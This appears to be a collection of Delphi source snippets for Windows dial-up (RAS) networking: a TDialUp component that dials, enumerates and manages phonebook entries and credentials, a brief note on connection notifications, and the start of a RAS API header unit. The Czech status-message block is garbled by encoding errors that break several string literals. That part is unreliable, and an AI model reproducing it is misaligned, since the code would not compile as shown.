(*RASAPI*)function RasGetEntryPropertiesA(lpszPhonebook, szEntry: PAnsiChar; lpbEntry: Pointer;

(*RASAPI*) var lpdwEntrySize: Longint; lpbDeviceInfo: Pointer;

(*RASAPI*) var lpdwDeviceInfoSize: Longint): Longint; stdcall;

(*RASAPI*)function RasGetEntryPropertiesW(lpszPhonebook, szEntry: PWideChar; lpbEntry: Pointer;

(*RASAPI*) var lpdwEntrySize: Longint; lpbDeviceInfo: Pointer;

(*RASAPI*) var lpdwDeviceInfoSize: Longint): Longint; stdcall;

(*RASAPI*)function RasGetEntryProperties(lpszPhonebook, szEntry: PAnsiChar; lpbEntry: Pointer;

(*RASAPI*) var lpdwEntrySize: Longint; lpbDeviceInfo: Pointer;

(*RASAPI*) var lpdwDeviceInfoSize: Longint): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasSetEntryPropertiesA(lpszPhonebook, szEntry: PAnsiChar; lpbEntry: Pointer;

(*RASAPI*) dwEntrySize: Longint; lpbDeviceInfo: Pointer;

(*RASAPI*) dwDeviceInfoSize: Longint): Longint; stdcall;

(*RASAPI*)function RasSetEntryPropertiesW(lpszPhonebook, szEntry: PWideChar; lpbEntry: Pointer;

(*RASAPI*) dwEntrySize: Longint; lpbDeviceInfo: Pointer;

(*RASAPI*) dwDeviceInfoSize: Longint): Longint; stdcall;

(*RASAPI*)function RasSetEntryProperties(lpszPhonebook, szEntry: PAnsiChar; lpbEntry: Pointer;

(*RASAPI*) dwEntrySize: Longint; lpbDeviceInfo: Pointer;

(*RASAPI*) dwDeviceInfoSize: Longint): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasGetCountryInfoA(var lpCtryInfo: TRasCtryInfo;var lpdwSize: Longint): Longint; stdcall;

(*RASAPI*)function RasGetCountryInfoW(var lpCtryInfo: TRasCtryInfo;var lpdwSize: Longint): Longint; stdcall;

(*RASAPI*)function RasGetCountryInfo(var lpCtryInfo: TRasCtryInfo;var lpdwSize: Longint): Longint; stdcall;

(*RASAPI*)

(*RASAPI*)function RasEnumDevicesA(lpBuff: LpRasDevInfoA; var lpcbSize: Longint;

(*RASAPI*) var lpcDevices: Longint): Longint; stdcall;

(*RASAPI*)function RasEnumDevicesW(lpBuff: LpRasDevInfoW; var lpcbSize: Longint;

(*RASAPI*) var lpcDevices: Longint): Longint; stdcall;

(*RASAPI*)function RasEnumDevices(lpBuff: LpRasDevInfo; var lpcbSize: Longint;

(*RASAPI*) var lpcDevices: Longint): Longint; stdcall;

(*RASAPI*)

{******************************************************}

{******************************************************}

{******************************************************}

{******************************************************}

{******************************************************}

{******************************************************}

const MaxEntries = 100; //It's enough

type

TOnEntryGet = procedure (Sender : TObject; EntryName : Array of {Ansi}Char) of Object;

TStandartEv = procedure (Sender : TObject) of object;

TOnNotConn = procedure (Sender : TObject; ErrorCode : Integer; ErrorMessage : String) of object;

TOnAsyncEvent = procedure (Sender : TObject; State : TRasConnState; Error : Integer;

MessageText : String) of object;

TOnError = procedure (Sender : TObject; ErrorCode : Integer; ErrorMessage : String) of Object;

TOnActiveConn = procedure (Sender : TObject; Handle : THRasConn; Status : TRasConnStatus;

StatusString : String;

EntryName, DeviceType, DeviceName : Array of Char) of object;

TDialMode = (dmAsync,dmSync); //dmAsync - Function will exit BEFORE finishing dialing

// Events : onDialing,onError,onAsyncEvent

//dmSync - Function will exit AFTER finishing dialing

// Events : onDialing,onConnect,onNotConnected

TLanguage = (English,Czech);

TDialUp = class(TComponent)

private

FEntries : TStringList;

FDialMode : TDialMode;

FEntry2Dial : String;

FLanguage : TLanguage;

FTimer : TTimer;

FOnEntryGet : TOnEntryGet;

FOnDialing, FOnConnected : TStandartEv;

FOnNotConnected : TOnNotConn;

FOnAsyncEvent : TOnAsyncEvent;

FOnError : TOnError;

FOnActiveConn : TOnActiveConn;

protected

procedure Timer(Sender: TObject); virtual;

public

hRAS : ThRASConn; {Handle to RAS connection dialed with by this component when connected}

AsyncStatus : Boolean;

AMsg,AError : Integer;

AState : TRasConnState;

constructor Create(AOwner:TComponent); override;

destructor Destroy; override;

function Dial : Integer;

function GetEntries : Integer;

function GetConnections : Integer;

function HangUp : Integer;

function HangUpConn(Handle : THRasConn) : Integer;

function CreateEntry : Integer;

function EditEntry : Integer;

function DeleteEntry : Integer;

function RenameEntryTo(S : String) : Integer;

function SetEntryUserName(Value : String) : Integer;

function SetEntryPassword(Value : String) : Integer;

function RemovePassword : Integer;

function GetEntryUserName(var Value : String) : Integer;

function GetEntryPassword(var Value : String) : Integer;

function StatusString(State: TRasConnState; Error: Integer): String;

function StatusStringCZ(State: TRasConnState; Error: Integer): String;

published

property Name;

property Tag;

property DialMode : TDialMode

read FDialMode write FDialMode;

property Entries : TStringList

read FEntries;

property Entry : String

read FEntry2Dial write FEntry2Dial;

property Language : TLanguage

read FLanguage write FLanguage;

property OnEntryGet : TOnEntryGet

read FOnEntryGet write FOnEntryGet;

property OnDialing : TStandartEv

read FOnDialing write FOnDialing;

property OnConnect : TStandartEv

read FOnConnected write FOnConnected;

property OnNotConnected : TOnNotConn

read FOnNotConnected write FOnNotConnected;

property OnAsyncEvent : TOnAsyncEvent

read FOnAsyncEvent write FOnAsyncEvent;

property OnError : TOnError

read FOnError write FOnError;

property OnActiveConnection : TOnActiveConn

read FOnActiveConn write FOnActiveConn;

end;

procedure Register;

implementation

var xSelf : Pointer;

procedure TDialUp.Timer(Sender: TObject);

begin

FTimer.Enabled:=False;

if AsyncStatus=False then Exit;

if Language=Czech then

begin

if Assigned(FOnAsyncEvent) then FOnAsyncEvent(Self,AState,AError,StatusStringCZ(AState, AError));

end else

begin

if Assigned(FOnAsyncEvent) then FOnAsyncEvent(Self,AState,AError,StatusString(AState, AError));

end;

AsyncStatus:=False;

end;

procedure RasCallback(msg: Integer; state: TRasConnState;

error: Integer); stdcall;

begin

While TDialUp(xSelf).AsyncStatus=True do ;

TDialUp(xSelf).AsyncStatus:=True;

TDialUp(xSelf).AMsg:=Msg;

TDialUp(xSelf).AState:=State;

TDialUp(xSelf).AError:=Error;

TDialUp(xSelf).FTimer.Enabled:=True;

// TDialUp(xSelf).FOnDialing(xSelf);

// TDialUp(xSelf).OnAsyncEvent(xSelf,State,Error,TDialUp(xSelf).StatusString(state, error));

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

//procedure RasCallback(Msg: Integer; State: TRasConnState; Error: Integer); stdcall; forward;

procedure Register;

begin

RegisterComponents('Internet',[TDialUp]);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

constructor TDialUp.Create(AOwner:TComponent);

begin

inherited Create(AOwner);

AsyncStatus:=False;

FEntries:=TStringList.Create;

FTimer:=TTimer.Create(Self);

FTimer.Enabled:=False; FTimer.Interval:=1;

FTimer.OnTimer:=Timer;

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

destructor TDialUp.Destroy;

begin

inherited Destroy;

FEntries.Free;

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.Dial : Integer;

var

Fp : LongBool;

R : Integer;

C : Array[0..100] of Char;

ErrS : String;

DialParams : TRasDialParams;

begin

HangUp;

FillChar(DialParams, SizeOf(TRasDialParams), 0);

with DialParams do

begin

dwSize:=Sizeof(TRasDialParams);

StrPCopy(szEntryName, FEntry2Dial);

end;

R:=RasGetEntryDialParams(nil, DialParams, Fp);

if R<>0 then

begin

Result:=R;

if Assigned(FOnError) then FOnError(Self,R,'GetEntryDialParams failed');

Exit;

end;

hRAS:=0;

if DialMode=dmSync then // Synchronous dial

begin

if Assigned(FOnDialing) then FOnDialing(Self);

R:=RasDial(nil, nil, DialParams, 0, nil, hRAS);

if R=0 then

begin

if Assigned(FOnConnected) then

FOnConnected(Self)

end else

begin

if hRas<>0 then

RasHangUp(hRas);

RasGetErrorString(R, C, 100); ErrS:=C;

if Assigned(FOnNotConnected) then FOnNotConnected(Self,R,ErrS);

end;

end else // Asynchronous dial

begin

// Async dial

xSelf:=Self;

if Assigned(FOnDialing) then FOnDialing(Self);

R:=RasDial(nil, nil, DialParams, 0, @RasCallback, hRAS);

if R<>0 then

begin

RasGetErrorString(R,C,100);

if Assigned(FOnError) then FOnError(Self,R,C);

end;

end;

Result:=R;

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.GetEntries : Integer;

var

BuffSize : Integer;

Entries : Integer;

Entry : Array[1..MaxEntries] of TRasEntryName;

X,Result_ : Integer;

begin

Result:=0;

FEntries.Clear;

Entry[1].dwSize:=SizeOf(TRasEntryName);

BuffSize:=SizeOf(TRasEntryName)*MaxEntries;

Result_:=RasEnumEntries(nil, nil, @Entry[1], BuffSize, Entries);

if (Result_=0) and (Entries>0) then

begin

for X:=1 to Entries do

begin

FEntries.Add(Entry[x].szEntryName);

If Assigned(FOnEntryGet) then FOnEntryGet(Self,Entry[x].szEntryName);

end;

end else

Result:=Result_;

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.GetConnections : Integer;

var

BufSize : Integer;

NumEntries : Integer;

X : Integer;

Entries : Array[1..MaxEntries] of TRasConn;

Stat : TRasConnStatus;

Result_ : Integer;

S : String;

begin

Result:=0;

Entries[1].dwSize := SizeOf(TRasConn);

Bufsize:=SizeOf(TRasConn)*MaxEntries;

FillChar(Stat, Sizeof(TRasConnStatus), 0);

Stat.dwSize:=Sizeof(TRasConnStatus);

Result_:=RasEnumConnections(@Entries[1], BufSize, NumEntries);

if Result_=0 then

begin

if NumEntries > 0 then

for X:=1 to NumEntries do

begin

RasGetConnectStatus(Entries[X].HRasConn, Stat);

if Language=Czech then S:=StatusStringCZ(Stat.RasConnState, Stat.dwError) else

S:=StatusString(Stat.RasConnState, Stat.dwError);

if Assigned(FOnActiveConn) then FOnActiveConn(Self, Entries[X].HRasConn,

Stat, S,

Entries[X].szEntryName,

Entries[X].szDeviceType,

Entries[X].szDeviceName);

end;

end else Result:=Result_;

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.HangUp : Integer;

begin

Result:=RasHangUp(hRas);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.HangUpConn(Handle : THRasConn) : Integer;

begin

Result:=RasHangUp(Handle);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.CreateEntry : Integer;

begin

if (Owner is TForm) then

Result:=RasCreatePhonebookEntry((Owner as TForm).Handle, nil) else

Result:=RasCreatePhonebookEntry(0, nil);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.EditEntry : Integer;

begin

if (Owner is TForm) then

Result:=RasEditPhonebookEntry((Owner as TForm).Handle, nil, PChar(FEntry2Dial)) else

Result:=RasEditPhonebookEntry(0, nil, PChar(FEntry2Dial));

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.RenameEntryTo(S : String) : Integer;

begin

Result:=RasRenameEntry(nil, PChar(FEntry2Dial), PChar(S));

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

Function TDialUp.DeleteEntry : Integer;

begin

Result:=RasDeleteEntry(nil, PChar(FEntry2Dial))

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function TDialUp.SetEntryUserName(Value : String) : Integer;

var DialParams : TRasDialParams;

begin

with DialParams do

begin

dwSize:=Sizeof(TRasDialParams);

StrPCopy(szEntryName, PChar(FEntry2Dial));

StrPCopy(szUserName, Value);

end;

Result:=RasSetEntryDialParams(nil, DialParams, False);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function TDialUp.SetEntryPassword(Value : String) : Integer;

var DialParams : TRasDialParams;

begin

with DialParams do

begin

dwSize:=Sizeof(TRasDialParams);

StrPCopy(szEntryName, PChar(FEntry2Dial));

StrPCopy(szPassword, Value);

end;

Result:=RasSetEntryDialParams(nil, DialParams, False);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function TDialUp.RemovePassword : Integer;

var DialParams : TRasDialParams;

begin

with DialParams do

begin

dwSize:=Sizeof(TRasDialParams);

StrPCopy(szEntryName, PChar(FEntry2Dial));

end;

Result:=RasSetEntryDialParams(nil, DialParams, True);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function TDialUp.GetEntryUserName(var Value : String) : Integer;

var

Fp : LongBool;

R : Integer;

// C : Array[0..100] of Char;

DialParams : TRasDialParams;

begin

FillChar(DialParams, SizeOf(TRasDialParams), 0);

with DialParams do

begin

dwSize:=Sizeof(TRasDialParams);

StrPCopy(szEntryName, FEntry2Dial);

end;

R:=RasGetEntryDialParams(nil, DialParams, Fp);

if R=0 then

with DialParams do

begin

Value:=szUserName;

end;

Result:=R;

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function TDialUp.GetEntryPassword(var Value : String) : Integer;

var

Fp : LongBool;

R : Integer;

// C : Array[0..100] of Char;

DialParams : TRasDialParams;

begin

FillChar(DialParams, SizeOf(TRasDialParams), 0);

with DialParams do

begin

dwSize:=Sizeof(TRasDialParams);

StrPCopy(szEntryName, FEntry2Dial);

end;

R:=RasGetEntryDialParams(nil, DialParams, Fp);

if R=0 then

with DialParams do

begin

if Fp then

Value:=szPassword else Value:='';

end;

Result:=R;

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function TDialUp.StatusString(State: TRasConnState; Error: Integer): String;

var

C : Array[0..100] of Char;

S : String;

begin

if Error<>0 then

begin

RasGetErrorString(Error, C, 100);

Result:=C;

end else

begin

S:='';

case State of

RASCS_OpenPort:

S:='Opening port';

RASCS_PortOpened:

S:='Port opened';

RASCS_ConnectDevice:

S:='Connecting device';

RASCS_DeviceConnected:

S:='Device connected';

RASCS_AllDevicesConnected:

S:='All devices connected';

RASCS_Authenticate:

S:='Start authenticating';

RASCS_AuthNotify:

S:='Authentication: notify';

RASCS_AuthRetry:

S:='Authentication: retry';

RASCS_AuthCallback:

S:='Authentication: callback';

RASCS_AuthChangePassword:

S:='Authentication: change password';

RASCS_AuthProject:

S:='Authentication: projecting';

RASCS_AuthLinkSpeed:

S:='Authentication: link speed';

RASCS_AuthAck:

S:='Authentication: acknowledge';

RASCS_ReAuthenticate:

S:='Authentication: reauthenticate';

RASCS_Authenticated:

S:='Authenticated';

RASCS_PrepareForCallback:

S:='Preparing for callback';

RASCS_WaitForModemReset:

S:='Waiting for modem reset';

RASCS_WaitForCallback:

S:='Waiting for callback';

RASCS_Projected:

S:='Projected';

RASCS_StartAuthentication:

S:='Start authentication';

RASCS_CallbackComplete:

S:='Callback complete';

RASCS_LogonNetwork:

S:='Logging on network';

RASCS_Interactive:

S:='Interactive';

RASCS_RetryAuthentication:

S:='Retry Authentication';

RASCS_CallbackSetByCaller:

S:='Callback set by caller';

RASCS_PasswordExpired:

S:='Password expired';

RASCS_Connected:

S:='Connected';

RASCS_Disconnected:

S:='Disconnected';

end;

Result:=S;

end;

end;

function TDialUp.StatusStringCZ(State: TRasConnState; Error: Integer): String;

var

C : Array[0..100] of Char;

S : String;

begin

if Error<>0 then

begin

RasGetErrorString(Error, C, 100);

Result:=C;

end else

begin

S:='';

case State of

RASCS_OpenPort:

S:='Otev韗?se port';

RASCS_PortOpened:

S:='Port otev鴈n';

RASCS_ConnectDevice:

S:='Prob韍?spojov醤?;

RASCS_DeviceConnected:

S:='Nav醶醤o spojen?;

RASCS_AllDevicesConnected:

S:='V歟chna zazen?spojena';

RASCS_Authenticate:

S:='Za桧naj?se ov禅ovat u瀒vatelsk?informace';

RASCS_AuthNotify:

S:='Ov禅en? ozn醡en?;

RASCS_AuthRetry:

S:='Ov禅en? opakov醤?;

RASCS_AuthCallback:

S:='Ov禅en? zp靦n?vol醤?;

RASCS_AuthChangePassword:

S:='Ov禅en? zm靚a hesla';

RASCS_AuthProject:

S:='Ov禅en? n醰rh';

RASCS_AuthLinkSpeed:

S:='Ov禅en? spojovac?rychlost';

RASCS_AuthAck:

S:='Ov禅en? potvrzen?;

RASCS_ReAuthenticate:

S:='Ov禅en? znovuov禅en?;

RASCS_Authenticated:

S:='Ov禅eno';

RASCS_PrepareForCallback:

S:='Pprava na zpetn?vol醤?;

RASCS_WaitForModemReset:

S:='萫k?se na reset modemu';

RASCS_WaitForCallback:

S:='萫k?se na zp靦n?vol醤?;

RASCS_Projected:

S:='Navrhnuto';

RASCS_StartAuthentication:

S:='Ov禅ov醤?u瀒vatelsk齝h informac?;

RASCS_CallbackComplete:

S:='Zpetn?vol醤?hotovo';

RASCS_LogonNetwork:

S:='P鴌pojuje se na s頋';

RASCS_Interactive:

S:='Interakce';

RASCS_RetryAuthentication:

S:='Opakov醤?ove鴈n?;

RASCS_CallbackSetByCaller:

S:='Zpe靦n?vol醤?zvoleno u瀒vatelem';

RASCS_PasswordExpired:

S:='Platnost hesla vypr歟la';

RASCS_Connected:

S:='Spojeno';

RASCS_Disconnected:

S:='Rozpojeno';

end;

Result:=S;

end;

end;

{****************************************************************************}

{****************************************************************************}

{****************************************************************************}

{****************************************************************************}

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function RasCreatePhonebookEntryA; external 'rasapi32.dll' name 'RasCreatePhonebookEntryA';

function RasCreatePhonebookEntryW; external 'rasapi32.dll' name 'RasCreatePhonebookEntryW';

function RasCreatePhonebookEntry; external 'rasapi32.dll' name 'RasCreatePhonebookEntryA';

function RasDialA; external 'rasapi32.dll' name 'RasDialA';

function RasDialW; external 'rasapi32.dll' name 'RasDialW';

function RasDial; external 'rasapi32.dll' name 'RasDialA';

function RasEditPhonebookEntryA; external 'rasapi32.dll' name 'RasEditPhonebookEntryA';

function RasEditPhonebookEntryW; external 'rasapi32.dll' name 'RasEditPhonebookEntryW';

function RasEditPhonebookEntry; external 'rasapi32.dll' name 'RasEditPhonebookEntryA';

function RasEnumConnectionsA; external 'rasapi32.dll' name 'RasEnumConnectionsA';

function RasEnumConnectionsW; external 'rasapi32.dll' name 'RasEnumConnectionsW';

function RasEnumConnections; external 'rasapi32.dll' name 'RasEnumConnectionsA';

function RasEnumEntriesA; external 'rasapi32.dll' name 'RasEnumEntriesA';

function RasEnumEntriesW; external 'rasapi32.dll' name 'RasEnumEntriesW';

function RasEnumEntries; external 'rasapi32.dll' name 'RasEnumEntriesA';

function RasGetConnectStatusA; external 'rasapi32.dll' name 'RasGetConnectStatusA';

function RasGetConnectStatusW; external 'rasapi32.dll' name 'RasGetConnectStatusW';

function RasGetConnectStatus; external 'rasapi32.dll' name 'RasGetConnectStatusA';

function RasGetEntryDialParamsA; external 'rasapi32.dll' name 'RasGetEntryDialParamsA';

function RasGetEntryDialParamsW; external 'rasapi32.dll' name 'RasGetEntryDialParamsW';

function RasGetEntryDialParams; external 'rasapi32.dll' name 'RasGetEntryDialParamsA';

function RasGetErrorStringA; external 'rasapi32.dll' name 'RasGetErrorStringA';

function RasGetErrorStringW; external 'rasapi32.dll' name 'RasGetErrorStringW';

function RasGetErrorString; external 'rasapi32.dll' name 'RasGetErrorStringA';

function RasGetProjectionInfoA; external 'rasapi32.dll' name 'RasGetProjectionInfoA';

function RasGetProjectionInfoW; external 'rasapi32.dll' name 'RasGetProjectionInfoW';

function RasGetProjectionInfo; external 'rasapi32.dll' name 'RasGetProjectionInfoA';

function RasHangUpA; external 'rasapi32.dll' name 'RasHangUpA';

function RasHangUpW; external 'rasapi32.dll' name 'RasHangUpW';

function RasHangUp; external 'rasapi32.dll' name 'RasHangUpA';

function RasSetEntryDialParamsA; external 'rasapi32.dll' name 'RasSetEntryDialParamsA';

function RasSetEntryDialParamsW; external 'rasapi32.dll' name 'RasSetEntryDialParamsW';

function RasSetEntryDialParams; external 'rasapi32.dll' name 'RasSetEntryDialParamsA';

function RasValidateEntryNameA; external 'rasapi32.dll' name 'RasValidateEntryNameA';

function RasValidateEntryNameW; external 'rasapi32.dll' name 'RasValidateEntryNameW';

function RasRenameEntryA; external 'rasapi32.dll' name 'RasRenameEntryA';

function RasRenameEntryW; external 'rasapi32.dll' name 'RasRenameEntryW';

function RasDeleteEntryA; external 'rasapi32.dll' name 'RasDeleteEntryA';

function RasDeleteEntryW; external 'rasapi32.dll' name 'RasDeleteEntryW';

function RasGetEntryPropertiesA; external 'rasapi32.dll' name 'RasGetEntryPropertiesA';

function RasGetEntryPropertiesW; external 'rasapi32.dll' name 'RasGetEntryPropertiesW';

function RasSetEntryPropertiesA; external 'rasapi32.dll' name 'RasSetEntryPropertiesA';

function RasSetEntryPropertiesW; external 'rasapi32.dll' name 'RasSetEntryPropertiesW';

function RasGetCountryInfoA; external 'rasapi32.dll' name 'RasGetCountryInfoA';

function RasGetCountryInfoW; external 'rasapi32.dll' name 'RasGetCountryInfoW';

function RasEnumDevicesA; external 'rasapi32.dll' name 'RasEnumDevicesA';

function RasEnumDevicesW; external 'rasapi32.dll' name 'RasEnumDevicesW';

var

Rnaph_Initialized : Boolean = False;

Is_Rnaph : Boolean = False;

Lib : HModule;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function Rnaph_(const func: String): Pointer;

begin

if not Rnaph_Initialized then

begin

// Try first with RASAPI32.DLL

Lib:=LoadLibrary('rasapi32.dll');

if Lib<>0 then

begin

Result:=GetProcAddress(Lib, PChar(Func+'A'));

if Result<>nil then

begin

Rnaph_Initialized:=True;

Exit;

end;

end else raise Exception.Create('Error opening rasapi.dll');

// function not found - try rnaph.dll

Lib:=LoadLibrary('rnaph.dll');

if Lib<>0 then

begin

Result:=GetProcAddress(Lib, PChar(Func));

if Result <> nil then

begin

Rnaph_Initialized:=True;

Is_Rnaph:=True;

Exit;

end else raise Exception.Create('Function '+Func+' not found!');

end else raise Exception.Create('Error opening rnaph.dll');

end else

begin

if Is_Rnaph then Result:=GetProcAddress(Lib,PChar(Func))

else Result:=GetProcAddress(lib,PChar(Func+'A'));

if Result=nil then raise Exception.Create('Function '+Func+' not found!');

end;

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function RasValidateEntryName(lpszPhonebook, szEntry: PAnsiChar): Longint;

var

F : Function(lpszPhonebook, szEntry: PAnsiChar): Longint; stdcall;

begin

@F:=Rnaph_('RasValidateEntryName');

Result:=F(lpszPhonebook, szEntry);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function RasRenameEntry(lpszPhonebook, szEntryOld, szEntryNew: PAnsiChar): Longint;

var

F : function(lpszPhonebook, szEntryOld, szEntryNew: PAnsiChar): Longint; stdcall;

begin

@F:=rnaph_('RasRenameEntry');

Result:=F(lpszPhonebook, szEntryOld, szEntryNew);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function RasDeleteEntry(lpszPhonebook, szEntry: PAnsiChar): Longint;

var

F : function(lpszPhonebook, szEntry: PAnsiChar): Longint; stdcall;

begin

@F:=Rnaph_('RasDeleteEntry');

Result:=F(lpszPhonebook, szEntry);

end;

{~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}

function RasGetEntryProperties(lpszPhonebook, szEntry: PAnsiChar; lpbEntry: Pointer;

var lpdwEntrySize: Longint; lpbDeviceIn


拨号上网连接或者断开后的消息
了 RasConnectionNotification.

The RasConnectionNotification function specifies an event object that the

system sets to the signaled state when a RAS connection is created or terminated.

http://msdn.microsoft.com/library/psdk/network/rasclnt_4re6.htm


RAS单元
{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

Unit: Remote Access Service (RAS)

Creation: Feb 18, 1997. Translated from MS-Visual C 4.2 header files

EMail: francois.piette@pophost.eunet.be francois.piette@rtfm.be

http://www.rtfm.be/fpiette

Legal issues: Copyright (C) 1997, 1998 by Fran鏾is PIETTE

Rue de Grady 24, 4053 Embourg, Belgium. Fax: +32-4-365.74.56

<francois.piette@pophost.eunet.be>

This software is provided 'as-is', without any express or

implied warranty. In no event will the author be held liable

for any damages arising from the use of this software.

Permission is granted to anyone to use this software for any

purpose, including commercial applications, and to alter it

and redistribute it freely, subject to the following

restrictions:

1. The origin of this software must not be misrepresented,

you must not claim that you wrote the original software.

If you use this software in a product, an acknowledgment

in the product documentation would be appreciated but is

not required.

2. Altered source versions must be plainly marked as such, and

must not be misrepresented as being the original software.

3. This notice may not be removed or altered from any source

distribution.

Updates:

Sep 25, 1998 V1.10 Added RasGetIPAddress and RasGetProjectionInfoA. Thanks to

Jan Tomasek <xtomasej@fel.cvut.cz> for his help.

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit Ras;

interface

uses

Windows, SysUtils;

{$DEFINE WINVER400}

const

RasUnitVersion = 110;

CopyRight : String = ' RasUnit (c) 97-98 F. Piette V1.10 ';

rasapi32 = 'rasapi32.dll';

UNLEN = 256; // Maximum user name length

PWLEN = 256; // Maximum password length

CNLEN = 15; // Computer name length

DNLEN = CNLEN; // Maximum domain name length

RAS_MaxDeviceType = 16;

RAS_MaxPhoneNumber = 128;

RAS_MaxIpAddress = 15;

RAS_MaxIpxAddress = 21;

{$IFDEF WINVER400}

RAS_MaxEntryName = 256;

RAS_MaxDeviceName = 128;

RAS_MaxCallbackNumber = RAS_MaxPhoneNumber;

{$ELSE}

RAS_MaxEntryName = 20;

RAS_MaxDeviceName = 32;

RAS_MaxCallbackNumber = 48;

{$ENDIF}

RAS_MaxAreaCode = 10;

RAS_MaxPadType = 32;

RAS_MaxX25Address = 200;

RAS_MaxFacilities = 200;

RAS_MaxUserData = 200;

RASCS_OpenPort = 0;

RASCS_PortOpened = 1;

RASCS_ConnectDevice = 2;

RASCS_DeviceConnected = 3;

RASCS_AllDevicesConnected = 4;

RASCS_Authenticate = 5;

RASCS_AuthNotify = 6;

RASCS_AuthRetry = 7;

RASCS_AuthCallback = 8;

RASCS_AuthChangePassword = 9;

RASCS_AuthProject = 10;

RASCS_AuthLinkSpeed = 11;

RASCS_AuthAck = 12;

RASCS_ReAuthenticate = 13;

RASCS_Authenticated = 14;

RASCS_PrepareForCallback = 15;

RASCS_WaitForModemReset = 16;

RASCS_WaitForCallback = 17;

RASCS_Projected = 18;

{$IFDEF WINVER400}

RASCS_StartAuthentication = 19;

RASCS_CallbackComplete = 20;

RASCS_LogonNetwork = 21;

{$ENDIF}

RASCS_SubEntryConnected = 22;

RASCS_SubEntryDisconnected= 23;

RASCS_PAUSED = $1000;

RASCS_Interactive = RASCS_PAUSED;

RASCS_RetryAuthentication = (RASCS_PAUSED + 1);

RASCS_CallbackSetByCaller = (RASCS_PAUSED + 2);

RASCS_PasswordExpired = (RASCS_PAUSED + 3);

RASCS_DONE = $2000;

RASCS_Connected = RASCS_DONE;

RASCS_Disconnected = (RASCS_DONE + 1);

// If using RasDial message notifications, get the notification message code

// by passing this string to the RegisterWindowMessageA() API.

// WM_RASDIALEVENT is used only if a unique message cannot be registered.

RASDIALEVENT = 'RasDialEvent';

WM_RASDIALEVENT = $CCCD;

// TRASPROJECTION

RASP_Amb = $10000;

RASP_PppNbf = $0803F;

RASP_PppIpx = $0802B;

RASP_PppIp = $08021;

RASP_Slip = $20000;

type

THRASCONN = THandle;

PHRASCONN = ^THRASCONN;

TRASCONNSTATE = DWORD;

PDWORD = ^DWORD;

PBOOL = ^BOOL;

TRASDIALPARAMS = packed record

dwSize : DWORD;

szEntryName : array [0..RAS_MaxEntryName] of Char;

szPhoneNumber : array [0..RAS_MaxPhoneNumber] of Char;

szCallbackNumber : array [0..RAS_MaxCallbackNumber] of Char;

szUserName : array [0..UNLEN] of Char;

szPassword : array [0..PWLEN] of Char;

szDomain : array [0..DNLEN] of Char;

{$IFDEF WINVER401}

dwSubEntry : DWORD;

dwCallbackId : DWORD;

{$ENDIF}

szPadding : array [0..2] of Char;

end;

PRASDIALPARAMS = ^TRASDIALPARAMS;

TRASDIALEXTENSIONS = packed record

dwSize : DWORD;

dwfOptions : DWORD;

hwndParent : HWND;

reserved : DWORD;

end;

PRASDIALEXTENSIONS = ^TRASDIALEXTENSIONS;

TRASCONNSTATUS = packed record

dwSize : DWORD;

RasConnState : TRASCONNSTATE;

dwError : DWORD;

szDeviceType : array [0..RAS_MaxDeviceType] of char;

szDeviceName : array [0..RAS_MaxDeviceName] of char;

szPadding : array [0..1] of Char;

end;

PRASCONNSTATUS = ^TRASCONNSTATUS;

TRASCONN = packed record

dwSize : DWORD;

hRasConn : THRASCONN;

szEntryName : array [0..RAS_MaxEntryName] of char;

{$IFDEF WINVER400}

szDeviceType : array [0..RAS_MaxDeviceType] of char;

szDeviceName : array [0..RAS_MaxDeviceName] of char;

{$ENDIF}

szPadding : array [0..0] of Char;

end;

PRASCONN = ^TRASCONN;

TRASENTRYNAME = packed record

dwSize : DWORD;

szEntryName : array [0..RAS_MaxEntryName] of char;

szPadding : array [0..2] of Char;

end;

PRASENTRYNAME = ^TRASENTRYNAME;

TRASENTRYDLG = packed record

dwSize : DWORD;

hWndOwner : HWND;

dwFlags : DWORD;

xDlg : LongInt;

yDlg : LongInt;

szEntry : array [0..RAS_MaxEntryName] of char;

dwError : DWORD;

Reserved : DWORD;

Reserved2 : DWORD;

szPadding : array [0..2] of Char;

end;

PRASENTRYDLG = ^TRASENTRYDLG;

